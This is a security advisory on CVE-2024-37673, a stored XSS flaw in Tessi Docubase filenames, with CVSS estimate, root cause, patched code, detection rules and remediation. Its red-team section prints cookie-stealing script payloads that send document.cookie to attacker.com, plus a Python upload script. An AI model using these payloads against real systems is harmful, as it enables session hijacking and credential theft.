CVE-2024-37673

Executive Summary

CVE-2024-37673 is a stored Cross-Site Scripting (XSS) vulnerability in the Tessi Docubase Document Management product version 5.x. The flaw resides in the filename parameter, allowing a remote attacker to inject arbitrary JavaScript code. When a user views or downloads a document with a maliciously crafted filename, the injected script executes in the context of the victim’s browser. This can lead to session hijacking, credential theft, or further compromise of the document management system.

No official patch has been released by Tessi as of this report. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for organizations using this product internally.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary web application vulnerability in Tessi Docubase.

CVSS Breakdown & Threat Level

The CVSS vector is not provided by NVD. Based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (N) – the attacker can send a malicious request remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated attacker can trigger the XSS.
• User Interaction (UI): Required (R) – the victim must view or download the file.
• Scope (S): Changed (C) – the injected script can access other resources.
• Confidentiality (C): Low (L) – potential data leakage.
• Integrity (I): Low (L) – script can modify content.
• Availability (A): None (N) – no direct DoS.

Estimated CVSS v3.1 Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to full account takeover if an administrator views the malicious file.

Deep Dive & Mechanics

The vulnerability exists in the file upload or file metadata handling component of Tessi Docubase. When a document is uploaded, the filename parameter is not properly sanitized before being stored and later rendered in the web interface (e.g., in file lists, download pages, or previews).

Attack Flow:

1. Attacker uploads a document with a filename containing malicious JavaScript, e.g., <script>alert('XSS')</script>.pdf.
2. The filename is stored in the database without sanitization.
3. When an administrator or user browses the document list, the filename is rendered in HTML without proper encoding.
4. The injected script executes in the victim’s browser, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to a phishing page.

Root Cause: Lack of output encoding for the filename parameter in the web interface.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without sanitization
echo "<a href='download.php?file=" . $filename . "'>" . $filename . "</a>";

Patched Code (Conceptual):

// Patched: HTML entity encoding
echo "<a href='download.php?file=" . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8') . "'>" . htmlspecialchars($filename, ENT_QUOTES, 'UTF-8') . "</a>";

The patched version uses htmlspecialchars() to convert special characters like <, >, ", and & into their HTML entity equivalents, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (Manual):

1. Access the Tessi Docubase upload interface.
2. Upload a file with the following filename:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.pdf
   

3. Wait for an administrator to view the document list.
4. The script executes, sending the admin’s session cookie to the attacker’s server.

Automated Exploit (Python):

import requests

target_url = "http://target.com/upload"
payload = "<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>.pdf"

files = {'file': (payload, 'dummy content', 'application/pdf')}
response = requests.post(target_url, files=files)

if response.status_code == 200:
    print("Malicious file uploaded. Trigger XSS by viewing the document list.")
else:
    print("Upload failed.")

Blue Team

Detection Steps:

1. Monitor file upload logs for filenames containing HTML tags or JavaScript keywords (<script>, onerror, onload, etc.).
2. Inspect web application logs for unusual Referer headers or repeated access to the same document by different IPs.
3. Use a web application firewall (WAF) to block filenames containing <, >, script, onerror, etc.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/upload" AND form_data=*<script>*
| table _time, clientip, uri, form_data

Indicators of Compromise (IOCs)

• File Names: Any filename containing <script>, onerror=, onload=, javascript:, or other HTML/JavaScript constructs.
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the Docubase server (e.g., GET /steal?c=...).
• Log Entries: Web server logs showing 400 or 500 errors after file upload attempts with suspicious filenames.
• Cookie Theft: Unexpected changes in session cookies or multiple simultaneous sessions from different IPs.

Detection Engineering

YARA Rule

rule Detect_XSS_Filename_Upload {
    meta:
        description = "Detects filenames containing XSS payloads in Tessi Docubase"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37673"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $xss5 = /<img[^>]*>/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: XSS via Filename Upload in Tessi Docubase
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with filenames containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37673 XSS via Filename Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; pcre:"/<script[^>]*>|onerror=|onload=|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict validation on the filename parameter. Reject filenames containing <, >, &, ", ', or any HTML/JavaScript constructs.
2. Output Encoding: Ensure all filenames are HTML-entity encoded before rendering in the web interface.
3. WAF Rules: Deploy WAF rules to block filenames with XSS patterns.
4. User Education: Warn users not to open files with suspicious names.

Long-Term Fix:

• Apply a Content Security Policy (CSP) header to mitigate XSS impact.
• Upgrade to a patched version when Tessi releases one.
• Conduct a full security audit of the application’s input/output handling.

Workaround:

• Disable the file upload feature temporarily if possible.
• Use a reverse proxy to sanitize filenames before they reach the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert